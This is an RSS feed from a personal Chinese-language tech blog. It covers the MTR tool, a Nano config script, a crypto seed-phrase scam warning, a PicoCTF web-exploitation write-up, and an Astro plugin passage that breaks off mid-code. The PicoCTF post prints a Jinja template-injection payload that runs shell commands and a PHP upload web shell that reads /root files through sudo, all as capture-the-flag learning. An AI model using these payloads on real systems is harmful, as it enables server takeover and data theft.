<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/rss.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>CHIEN 的技術筆記</title><description>CHIEN (qian) 的個人技術部落格，專注於網路技術、資訊安全、BGP 路由、系統運維及 Linux 相關主題。分享實戰經驗與深度技術文章。</description><link>https://blog.chien.dev/</link><item><title>MTR 網路診斷工具完整教學：Linux 網路追蹤與監控指南</title><link>https://blog.chien.dev/posts/mtr-basic/</link><guid isPermaLink="true">https://blog.chien.dev/posts/mtr-basic/</guid><description>學習如何使用 MTR  進行 Linux 網路診斷與故障排除。完整介紹 MTR 安裝、基礎用法、進階參數設定，包含 TCP/UDP 測試、結果匯出等實用技巧。</description><pubDate>Wed, 01 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;什麼是 MTR？&lt;/h2&gt;
&lt;p&gt;MTR (My Traceroute) 是一個強大的 Linux 網路診斷工具，它巧妙地結合了 &lt;code&gt;ping&lt;/code&gt; 和 &lt;code&gt;traceroute&lt;/code&gt; 兩大工具的優點。與傳統的 traceroute 只執行一次路由追蹤不同，MTR 會持續監控網路中的每一個路由節點和每一跳 (hop)，提供即時的網路品質數據，幫助您快速診斷網路問題、分析封包遺失和延遲狀況。&lt;/p&gt;
&lt;p&gt;對於網路管理員和系統工程師來說，MTR 是進行網路故障排除的必備工具，能夠清楚呈現從源頭到目標主機之間所有節點的連線狀態。&lt;/p&gt;
&lt;p&gt;印象中好像有看過 WinMTR 之類的酷東東（Windows 版本）&lt;/p&gt;
&lt;p&gt;&lt;s&gt;不是NTR，我第一次聽到這工具的時候聽成ntr&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;我還試著apt-get install ntr -y&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;MTR 安裝教學（Ubuntu/Debian）&lt;/h2&gt;
&lt;p&gt;在 Ubuntu 或 Debian 系統上安裝 MTR 非常簡單，只需要一行指令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt-get install mtr -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安裝完成後，就可以立即開始使用 MTR 進行網路診斷了。&lt;/p&gt;
&lt;h2&gt;MTR 基礎使用方法與指令範例&lt;/h2&gt;
&lt;h3&gt;最簡單的用法&lt;/h3&gt;
&lt;p&gt;執行 MTR 最基本的方式就是直接指定目標 IP 或網域：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ mtr 1.1.1.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;執行後，您會看到類似下方的輸出畫面。MTR 會即時顯示路由路徑、封包遺失率 (Loss%)、已傳送封包數 (Snt)、最後一次延遲 (Last)、平均延遲 (Avg)、最佳延遲 (Best)、最差延遲 (Wrst) 等詳細的網路診斷資訊。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/1701368029829.png&quot; alt=&quot;MTR 追蹤 1.1.1.1 的執行結果，顯示完整路由路徑與網路品質數據&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;指定 IPv4 或 IPv6 協定&lt;/h3&gt;
&lt;p&gt;您可以使用 &lt;code&gt;-4&lt;/code&gt; 或 &lt;code&gt;-6&lt;/code&gt; 參數來強制 MTR 使用特定的 IP 協定版本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 強制使用 IPv4
mtr 1.1.1.1 -4

# 強制使用 IPv6
mtr cloudflare.com -6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image.png&quot; alt=&quot;MTR 使用 IPv4 協定進行網路追蹤&quot; /&gt;
&lt;img src=&quot;images/1701350696338.png&quot; alt=&quot;MTR 使用 IPv6 協定追蹤 Cloudflare 網域&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;同時顯示網域名稱與 IP 位址&lt;/h3&gt;
&lt;p&gt;使用 &lt;code&gt;-b&lt;/code&gt; 參數可以讓 MTR 同時顯示每個節點的網域名稱和 IP 位址，方便識別路由經過的網路設備：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mtr cloudflare.com -b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/1701350846594.png&quot; alt=&quot;MTR 同時顯示網域名稱與 IP 位址的輸出結果&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;僅顯示 IP 位址（不解析網域名稱）&lt;/h3&gt;
&lt;p&gt;如果您想要加快 MTR 的執行速度，或是只想看 IP 位址，可以使用 &lt;code&gt;-n&lt;/code&gt; 參數跳過 DNS 反向解析：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mtr -n cloudflare.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/1701350903881.png&quot; alt=&quot;MTR 僅顯示 IP 位址不進行 DNS 解析的輸出&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;設定 Ping 次數上限&lt;/h3&gt;
&lt;p&gt;使用 &lt;code&gt;-c&lt;/code&gt; 參數可以限制 MTR 的 ping 測試次數。當 &lt;code&gt;Snt&lt;/code&gt; 欄位達到指定數字後，MTR 會自動結束並顯示統計結果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mtr 1.1.1.1 -c 6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這個參數在需要快速測試或自動化腳本中特別有用。&lt;/p&gt;
&lt;h3&gt;MTR 結果匯出與報告生成&lt;/h3&gt;
&lt;h4&gt;將結果匯出為文字檔&lt;/h4&gt;
&lt;p&gt;有時候我們需要將 MTR 的測試結果保存下來，用於報告撰寫、與同事分享或是向老闆呈現網路狀況（或是炫耀直連 Google 的低延遲！）。&lt;/p&gt;
&lt;p&gt;使用 &lt;code&gt;-r&lt;/code&gt; 參數配合輸出重導向，就能將結果儲存為文字檔：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mtr 1.1.1.1 -r &amp;gt; owo.txt -c 6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上述指令的意思是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;追蹤到 &lt;code&gt;1.1.1.1&lt;/code&gt; 的路由&lt;/li&gt;
&lt;li&gt;使用報告模式 (&lt;code&gt;-r&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;輸出到當前目錄下的 &lt;code&gt;owo.txt&lt;/code&gt; 檔案&lt;/li&gt;
&lt;li&gt;限制測試 6 次後自動結束 (&lt;code&gt;-c 6&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;匯出後的 &lt;code&gt;owo.txt&lt;/code&gt; 內容範例如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/1701351153761.png&quot; alt=&quot;MTR 匯出的文字報告內容範例&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;使用 TCP 或 UDP 協定進行測試&lt;/h3&gt;
&lt;p&gt;預設情況下，MTR 使用 ICMP 封包進行測試。但某些網路環境可能會封鎖 ICMP，此時您可以改用 TCP 或 UDP 協定：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 使用 TCP 協定
mtr 1.1.1.1 --tcp

# 使用 UDP 協定
mtr 1.1.1.1 --udp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這在診斷防火牆問題或特定協定的網路路徑時非常有用。&lt;/p&gt;
&lt;h3&gt;指定來源 IP 位址&lt;/h3&gt;
&lt;p&gt;如果您的系統有多個網路介面或 IP 位址，可以使用 &lt;code&gt;-a&lt;/code&gt; 參數指定從哪個 IP 發送測試封包：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mtr -a &amp;lt;來源IP&amp;gt; 目標主機
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;MTR 使用技巧總結&lt;/h2&gt;
&lt;p&gt;MTR 是網路診斷的瑞士刀，結合了 ping 的持續監控和 traceroute 的路由追蹤功能。掌握 MTR 能讓您：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;快速定位網路問題&lt;/strong&gt;：清楚看到哪個節點出現封包遺失或高延遲&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;持續監控網路品質&lt;/strong&gt;：即時觀察網路狀態變化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生成專業報告&lt;/strong&gt;：匯出詳細數據供分析或呈報&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;何時使用 MTR？&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;網站或服務出現間歇性連線問題&lt;/li&gt;
&lt;li&gt;需要追蹤網路封包的完整路徑&lt;/li&gt;
&lt;li&gt;診斷特定節點的網路品質&lt;/li&gt;
&lt;li&gt;比較不同時段的網路狀況&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;MTR vs 其他工具&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;vs Ping&lt;/strong&gt;：MTR 提供完整路由路徑資訊，而不只是終點主機的延遲&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;vs Traceroute&lt;/strong&gt;：MTR 持續監控並提供統計數據，traceroute 只執行一次&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;vs Pathping (Windows)&lt;/strong&gt;：MTR 在 Linux 環境下更輕量且即時性更好&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;延伸閱讀&lt;/h2&gt;
&lt;p&gt;想了解更多關於 MTR 和網路診斷的知識嗎？推薦以下資源：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.gtwang.org/linux/mtr-linux-network-diagnostic-tool/&quot;&gt;MTR：Linux 網路診斷工具使用教學&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.csdn.net/duxing_langzi/article/details/110278793&quot;&gt;Linux MTR 命令使用解释&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>network</category><category>tools</category><category>mtr</category><category>traceroute</category><category>ping</category><category>網路診斷</category><category>故障排除</category><category>linux命令</category><author>CHIEN (qian)</author></item><item><title>Better Nano: 讓你的 Nano 編輯器更好用 (優化腳本推薦)</title><link>https://blog.chien.dev/posts/better-nano/</link><guid isPermaLink="true">https://blog.chien.dev/posts/better-nano/</guid><description>介紹 better-nano 優化腳本，為 Nano 提供各種優化，提升使用效率。</description><pubDate>Mon, 06 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言：為什麼需要優化 Nano？&lt;/h2&gt;
&lt;p&gt;對於許多 Linux 使用者和系統管理員來說，&lt;strong&gt;Nano&lt;/strong&gt; 是最常接觸的文字編輯器之一。它輕量、簡單，且幾乎預裝在所有的 Linux 發行版中。然而，預設的 Nano 功能較為陽春，缺乏語法高亮、行號顯示等現代編輯器常見的功能，這在編輯程式碼或設定檔時可能會降低效率。&lt;/p&gt;
&lt;p&gt;這篇文章要介紹一個由 &lt;a href=&quot;https://www.osga.lol/&quot;&gt;OsGa&lt;/a&gt; 開發的 &lt;strong&gt;better-nano&lt;/strong&gt; 優化腳本，它能一鍵升級你的 Nano 使用體驗。&lt;/p&gt;
&lt;h2&gt;Better Nano 的主要功能&lt;/h2&gt;
&lt;p&gt;這個腳本主要針對以下幾個方面進行優化：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;外觀優化 (Interface)&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;開啟 &lt;strong&gt;語法高亮 (Syntax Highlighting)&lt;/strong&gt;：讓程式碼和設定檔更易於閱讀。&lt;/li&gt;
&lt;li&gt;顯示 &lt;strong&gt;行號 (Line Numbers)&lt;/strong&gt;：方便除錯和定位特定行數。&lt;/li&gt;
&lt;li&gt;改善狀態列資訊。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;效能與操作 (Performance &amp;amp; Usability)&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;啟用 &lt;strong&gt;滑鼠支援&lt;/strong&gt;：允許使用滑鼠游標移動插入點（視終端機支援而定）。&lt;/li&gt;
&lt;li&gt;優化縮排設定 (Tab/Space)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;快捷鍵優化 (Keybindings)&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;調整部分快捷鍵以符合現代操作習慣（具體細節視腳本版本而定）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;如何安裝&lt;/h2&gt;
&lt;p&gt;安裝過程非常簡單，只需要一行指令即可完成。&lt;/p&gt;
&lt;h3&gt;步驟 1：取得腳本&lt;/h3&gt;
&lt;p&gt;你可以前往 GitHub 專案頁面查看詳細資訊：
&lt;a href=&quot;https://github.com/osga24/better_nano&quot;&gt;👉 前往 GitHub: osga24/better_nano&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;步驟 2：執行安裝&lt;/h3&gt;
&lt;p&gt;通常這類腳本會需要 &lt;code&gt;git&lt;/code&gt; clone 下來後執行安裝檔。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/osga24/better_nano.git
cd better_nano
chmod +x install.sh
./install.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
&lt;strong&gt;注意事項&lt;/strong&gt;：
執行此腳本可能會要求輸入 &lt;code&gt;sudo&lt;/code&gt; 密碼，因為它需要修改系統層級或使用者層級的 Nano 設定檔（如 &lt;code&gt;/etc/nanorc&lt;/code&gt; 或 &lt;code&gt;~/.nanorc&lt;/code&gt;）。請確保你信任來源程式碼再執行。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;結語&lt;/h2&gt;
&lt;p&gt;透過 &lt;strong&gt;better-nano&lt;/strong&gt;，你可以保留 Nano 的輕量優勢，同時獲得接近 IDE 的視覺體驗。如果你是 Vim 或 Emacs 的苦手，但又需要比預設 Nano 更強大的功能，這個腳本絕對值得一試。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;感謝 &lt;a href=&quot;https://www.osga.lol/&quot;&gt;OsGa&lt;/a&gt; 開發此工具。&lt;/em&gt;
||請不要扁我||&lt;/p&gt;
</content:encoded><category>Nano</category><category>Linux</category><category>Terminal</category><category>Editor</category><category>Productivity</category><category>Shell</category><author>CHIEN (qian)</author></item><item><title>有人自己洩漏註記詞?</title><link>https://blog.chien.dev/posts/seed-phrase-leakage-scam/</link><guid isPermaLink="true">https://blog.chien.dev/posts/seed-phrase-leakage-scam/</guid><description>網路上有人說說不玩了要送註記詞跟USDT，或是不小心露出注記詞??</description><pubDate>Sat, 19 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;自己洩漏註記詞?&lt;/h2&gt;
&lt;p&gt;有時候會在一些社交平台看到，有人發文說不完合約或是crypto了，剩下1000U或是幾百說要送人，又或者是說不知道怎麼轉移USDT到幣安、OKX等交易所，想請你幫忙
這時候你可能會想說，這白癡是不是自己洩漏了註記詞，或是私鑰，然後想要把錢轉移出去，但是不知道怎麼操作，所以才會發文求助，但是&lt;/p&gt;
&lt;p&gt;:::rabbit
當你想把錢轉出去時，你才是真正的白癡
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image/1.jpg&quot; alt=&quot;image&quot; /&gt;
&lt;img src=&quot;./image/3.jpg&quot; alt=&quot;image&quot; /&gt;
但是但是當你要轉USDT出去時你會發現他說Gas Fee不夠需要先支付一點trx進錢包，當你把錢轉入之後他會馬上轉走就算你動作再快也沒有用，因為通常會有多簽或是智能合約。&lt;/p&gt;
&lt;h2&gt;原理&lt;/h2&gt;
&lt;p&gt;他可能使用了多簽功能，多簽功能是指一個錢包需要進行交易或是任何動作時需要多個人或是錢包同意，才可以轉錢或是進行任何動作，這樣可以增加安全性，有許多使用到加密貨幣的大企業或是多個持有者的錢包會使用到&lt;br /&gt;
當你要把錢轉出時會需要一個簽名的動作，這個動作需要支付Gas Fee，但是就算你轉了一點trx進去，你也沒有辦法進行簽名，因為你不是多簽的其中一個持有者，所以你的錢就會被騙走
有時候不一定是多簽，也可能是智能合約。&lt;/p&gt;
&lt;h2&gt;解決方法&lt;/h2&gt;
&lt;p&gt;哭一下被騙了，下次不要再一次&lt;/p&gt;
&lt;h2&gt;結論&lt;/h2&gt;
&lt;p&gt;這是一個弱智小騙局，但是老實說殺傷力也不大，最多就是騙一點Gas Fee，但是如果你真的被騙了，也只能說你自己太貪心了，不過這也是一個提醒，不要隨便洩漏自己的註記詞或是私鑰，不然你的錢真的就會被轉走&lt;br /&gt;
在web3錢包中，記住詞跟私鑰就是你的一切，&lt;strong&gt;請不要給任何人&lt;/strong&gt;不管是你的好友或是你的家人，除非你真的信任他們。&lt;/p&gt;
</content:encoded><category>web3</category><category>wallet</category><category>crypto</category><category>SCAM</category><author>CHIEN (qian)</author></item><item><title>PicoCTF Web Exploitation Easy分級解題紀錄</title><link>https://blog.chien.dev/posts/picoctf_easy/</link><guid isPermaLink="true">https://blog.chien.dev/posts/picoctf_easy/</guid><description>紀錄 PicoCTF Web Exploitation Easy分級的解題過程與心得</description><pubDate>Sat, 19 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;這是拿來放一些解題ㄉ紀錄，慢慢邊做邊寫，因為我好久沒碰了
有些有有些沒有是因為有些我已經解過ㄌ，我也懶得再解一次&lt;/p&gt;
&lt;h2&gt;SSTI1&lt;/h2&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;p&gt;SSTI (Server-Side Template Injection) 是一種網頁應用程式漏洞，當使用者輸入的資料被直接嵌入到伺服器端模板中時，就會發生這種漏洞。這可能導致攻擊者能夠執行任意的程式碼或命令，從而獲取敏感資訊或控制伺服器。&lt;/p&gt;
&lt;h3&gt;解法&lt;/h3&gt;
&lt;p&gt;首先你會看到一個酷酷的網站，有一個輸入框，你會發現不論輸入啥他都會顯示在頁面上，我們可以試試看輸入&lt;code&gt;{{7*7}}&lt;/code&gt;  會得到什麼
&amp;lt;img src=&quot;https://i.imgur.com/mbFg62p.png&quot; width=&quot;300&quot; height=&quot;200&quot; /&amp;gt;
沒錯!一個大大的49，這就是一個SSTI的漏洞，這個漏洞可以讓我們執行python的程式碼，接下來我們可以試試看&lt;code&gt;{{7*7*7*7}}&lt;/code&gt; 會得到什麼
&lt;img src=&quot;https://i.imgur.com/WgLYlaS.png&quot; alt=&quot;image&quot; /&gt;
這時我們已經確定這是一個SSTI的漏洞了，接下來我們可以來點更有趣的東西，他可以執行python的程式碼，因此應該可以執行一些系統命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{request.application.__globals__.__builtins__.__import__(&apos;os&apos;).popen(&apos;id&apos;).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/1745082641462.png&quot; alt=&quot;1745082641462&quot; /&gt;
這段程式碼大概的意思是&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;request.application&lt;/code&gt;: 訪問當前Web請求的應用&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;__globals__&lt;/code&gt;: 訪問全局命名空間，允許獲取內建函式&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;__import__(&apos;os&apos;)&lt;/code&gt;: 動態導入 os 模塊，這樣就可以使用操作系統相關功能&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;popen(&apos;id&apos;)&lt;/code&gt;: 執行系統命令 id，該命令顯示當前用戶的身份&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;read()&lt;/code&gt;: 讀取命令的輸出結果&lt;br /&gt;
那我們可以把命令改成，ls來看看有沒有什麼驚喜，聽話讓我看看!&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;{{request.application.__globals__.__builtins__.__import__(&apos;os&apos;).popen(&apos;ls&apos;).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/1745083019268.png&quot; alt=&quot;1745083019268&quot; /&gt;
最後只要試試看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python
{{request.application.__globals__.__builtins__.__import__(&apos;os&apos;).popen(&apos;cat flag&apos;).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我們就會得到flag了!&lt;br /&gt;
picoCTF{||幹嘛，你要自己去試試看阿!還想偷看阿hhhhhhhhhhhhhhh||}&lt;/p&gt;
&lt;h2&gt;Cookie Monster Secret Recipe&lt;/h2&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;p&gt;Cookie &lt;s&gt;小餅乾&lt;/s&gt; 是網站儲存在你瀏覽器中的小型資料，用來記住你的登入狀態、偏好設定或追蹤行為。下次你再訪問網站時，瀏覽器會自動帶上這些資訊，讓網站知道你是誰。
如果 Cookie 使用不當的話，可能會出現資安漏洞或使用者隱私外洩的風險。舉例來說：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;登入資訊可能被竊取：如果沒有設定 HttpOnly，攻擊者就有機會透過跨站腳本攻擊（XSS）偷走使用者的登入 Cookie，冒用身分。&lt;/li&gt;
&lt;li&gt;使用者操作被偽造：若網站沒有防範 CSRF 攻擊，攻擊者可以利用使用者的 Cookie 發出未經授權的操作，例如轉帳或修改帳號資料。&lt;/li&gt;
&lt;li&gt;敏感資料曝光：若在 Cookie 中儲存像是帳號、密碼、信用卡號等敏感資料，可能會被竊取或洩漏，造成重大安全問題。&lt;/li&gt;
&lt;li&gt;跨站追蹤問題：若使用第三方 Cookie，可能被廣告商用來追蹤使用者在不同網站的行為，侵犯個人隱私。&lt;/li&gt;
&lt;li&gt;資料被中途攔截：如果 Cookie 沒有設定 Secure，在未加密的 HTTP 傳輸過程中就可能被攔截。
因此，開發者在設計網站時必須謹慎使用 Cookie，避免成為資安漏洞的來源。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;解法&lt;/h3&gt;
&lt;p&gt;首先我們看到網站，並且檢查F12-&amp;gt;儲存空間-&amp;gt;Cookies看看裡面有沒有東西，啥都沒有&lt;br /&gt;
&lt;img src=&quot;https://i.imgur.com/cXhhshj.png&quot; alt=&quot;cXhhshj.png&quot; /&gt;
我們可以嘗試登入一下，帳號密碼隨意，哎呀看起來有問題
&lt;img src=&quot;https://i.imgur.com/xc9JLcK.png&quot; alt=&quot;image&quot; /&gt;
我們可以再看一次Cookies，看看有沒有東西
看起來有東西出現!
&lt;img src=&quot;https://i.imgur.com/41r84nI.png&quot; alt=&quot;image&quot; /&gt;
看起來長得有點像是base64編碼的東西，我們可以試試看丟到解碼的網站看看
得到答案啦!
&lt;img src=&quot;https://i.imgur.com/CuDY1CK.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FLAG
&lt;ul&gt;
&lt;li&gt;||picoCTF{自己去試試看啦hahahahahahahahha}||&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;n0s4n1ty 1&lt;/h2&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;p&gt;這個網站有一個上傳檔案的功能，並且會顯示上傳的檔案名稱和路徑。&lt;br /&gt;
有兩個需要注意的地方是未檢查的檔案上傳以及權限設定不當的問題。&lt;br /&gt;
這可能會導致攻擊者能夠上傳惡意檔案，並且執行任意的程式碼或命令，從而獲取敏感資訊或控制伺服器。&lt;/p&gt;
&lt;h3&gt;解法&lt;/h3&gt;
&lt;p&gt;首先我們看到網站可以上傳檔案，先上傳看看一個php檔案看看譨不能傳PNG以外的東西
提示中說要重點針對&lt;code&gt;sudo -l&lt;/code&gt;，那我們就嘗試在php中執行看看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo exec(&apos;sudo -l&apos;);?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上傳之後顯示，讓我們去看看&lt;code&gt;uploads/owo.php&lt;/code&gt;有甚麼東西&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;The file owo.php has been uploaded Path: uploads/owo.php 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/gFTXjB4.png&quot; alt=&quot;image&quot; /&gt;
既然可以執行指令那我們就可以嘗試看看root資料夾下面有沒有什麼驚喜&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo exec(&apos;sudo ls -al /root &apos;);?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再次訪問網站並且去到&lt;code&gt;uploads/owo.php&lt;/code&gt;會顯示&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-rw-r--r-- 1 root root 36 Mar 6 03:56 flag.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那我們可以喵喵一下把檔案內容顯示出來!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo exec(&apos;sudo cat /root/flag.txt&apos;);?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;哎呀又找到ㄌ&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FLAG
&lt;ul&gt;
&lt;li&gt;picoCTF{||aaaaaaaaaaa自己去試試看啦||}&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;head-dump&lt;/h2&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;p&gt;Heap dump（堆轉儲）是 Java 虛擬機（JVM）在特定時間點的內存快照，常用於診斷內存泄漏和性能問題。然而，若使用不當，可能帶來安全風險&lt;br /&gt;
這個題目的面相會是需要注意獲得授權的人員才可以訪問head dump文件，這個文件包含了系統的內存轉儲，可能會洩漏敏感資訊或機密資料。
這可能會導致攻擊者能夠獲取敏感資訊或控制伺服器。&lt;/p&gt;
&lt;h3&gt;解法&lt;/h3&gt;
&lt;p&gt;首先我們進到網站會先看到這個頁面，題目描述中特別提到API Documentation的文章
&lt;img src=&quot;https://i.imgur.com/ODv3jxu.png&quot; alt=&quot;image&quot; /&gt;
我們會發現 #API Documentation 可以按下去，並且案下去會進入API的頁面
&lt;img src=&quot;https://i.imgur.com/UzVR81I.png&quot; alt=&quot;image&quot; /&gt;
最下方有一個&lt;code&gt;/headdump&lt;/code&gt;點開來看看，並且我們可以嘗試戳戳看API嘗試之後會發現他吐了一個200回應給我們並且可以下載dump出來的檔案
&lt;img src=&quot;https://i.imgur.com/xmal43e.png&quot; alt=&quot;image&quot; /&gt;
接下來只要下載下來用記事本打開，但是有好多看不懂的東西怎辦，沒關係這時候只要使用尋找搜尋&lt;code&gt;picoCTF&lt;/code&gt;就可以找到flag了!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FLAG
&lt;ul&gt;
&lt;li&gt;picoCTF{||自己去試試看啦haskdlfjdisgsdmgzld||}&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>PicoCTF</category><category>Web Exploitation</category><category>CTF</category><category>網路安全</category><author>CHIEN (qian)</author></item><item><title>Astro 部落格客製化教學：留言、Spoiler 與功能擴充實作</title><link>https://blog.chien.dev/posts/useyourblog/</link><guid isPermaLink="true">https://blog.chien.dev/posts/useyourblog/</guid><description>整理 Astro 部落格客製化實作重點，包含 spoiler 語法、留言系統與常見功能擴充，適合想強化個人技術部落格的人。</description><pubDate>Sat, 19 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;客製化你的 Astro Blog&lt;/h1&gt;
&lt;p&gt;在用了一陣子的 Astro 之後發現我的模板其實有些功能是我想要但是原本沒有的，因此我就嘗試自己動手修改一些功能，這篇文章就是紀錄以及教學如何客製化你的 Blog。&lt;/p&gt;
&lt;h2&gt;在文章中加入防雷海苔功能&lt;/h2&gt;
&lt;h3&gt;🔧 步驟 1：建立自訂 remark 插件&lt;/h3&gt;
&lt;p&gt;首先，我們需要讓 Markdown 能夠識別 &lt;code&gt;||防雷內容||&lt;/code&gt; 的語法。我們會寫一個簡單的 &lt;code&gt;remark&lt;/code&gt; 插件，將它轉換為 HTML 的 &lt;code&gt;&amp;lt;span class=&quot;spoiler&quot;&amp;gt;防雷內容&amp;lt;/span&amp;gt;&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;在你的專案中建立一個檔案，例如：&lt;code&gt;remarkSpoiler.js&lt;/code&gt;（建議放在專案根目錄或 &lt;code&gt;src/plugins/&lt;/code&gt; 目錄中），內容如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { visit } from &apos;unist-util-visit&apos;

export default function remarkSpoiler() {
  return (tree) =&amp;gt; {
    visit(tree, &apos;text&apos;, (node, index, parent) =&amp;gt; {
      const regex = /\|\|(.+?)\|\|/g
      const matches = [...node.value.matchAll(regex)]

      if (matches.length &amp;gt; 0) {
        const newNodes = []
        let lastIndex = 0

        for (const match of matches) {
          const [fullMatch, spoilerText] = match
          const matchStart = match.index
          const matchEnd = matchStart + fullMatch.length

          if (matchStart &amp;gt; lastIndex) {
            newNodes.push({
              type: &apos;text&apos;,
              value: node.value.slice(lastIndex, matchStart),
            })
          }

          newNodes.push({
            type: &apos;html&apos;,
